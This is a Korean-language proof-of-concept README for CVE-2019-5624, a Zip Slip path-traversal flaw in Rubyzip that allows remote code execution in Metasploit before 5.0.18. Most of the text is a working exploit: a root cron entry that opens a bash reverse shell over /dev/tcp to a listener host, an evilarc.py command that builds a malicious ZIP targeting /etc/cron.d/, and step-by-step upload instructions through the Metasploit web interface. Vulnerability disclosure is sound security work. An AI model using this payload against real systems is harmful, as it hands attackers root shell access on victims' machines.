CVE-2019-5624

Metasploit의 CVE-2019-5624 취약점(Rubyzip의 안전하지 않은 ZIP 처리로 인한 RCE)에 대한 개념 증명

소개

2019년 2월, Rubyzip 라이브러리에서 새로운 취약점을 발견했습니다. 이 취약점으로 인해 공격자는 안전하지 않은 ZIP 처리를 (Zip Slip) 악용하여 원격 코드 실행이 가능합니다.

이 취약점은 모든 Metasploit 버전 < 5.0.18을 대상으로 활용되었습니다. Metasploit Wrap-Up

취약점을 설명하는 상세한 블로그 포스트를 작성했습니다.

POC

• 다음 내용으로 파일을 생성하세요:

* * * * * root /bin/bash -c "exec /bin/bash0</dev/tcp/172.16.13.144/4444 1>&0 2>&0 0<&196;exec196<>/dev/tcp/172.16.13.144/4445; bash <&196 >&196 2>&196"

• 경로 탐색(payload)이 포함된 ZIP 아카이브를 생성하세요:

python evilarc.py exploit --os unix -p etc/cron.d/

• 유효한 MSF 워크스페이스를 ZIP 파일에 추가하세요 (MSF가 압축을 풀 수 있도록, 그렇지 않으면 ZIP 아카이브 처리를 거부합니다)
• 두 개의 리스너를 설정하세요. 하나는 포트 4444, 다른 하나는 포트 4445에 (포트 4445의 리스너가 리버스 셸을 받습니다)
• MSF 웹 인터페이스에 로그인하세요
• 새 "프로젝트"를 생성하세요
• "가져오기", "파일에서"를 선택하고 악성 ZIP 파일을 선택한 다음 "가져오기" 버튼을 클릭하세요
• 가져오기 프로세스가 완료될 때까지 기다리세요
• 리버스 셸을 즐기세요

비디오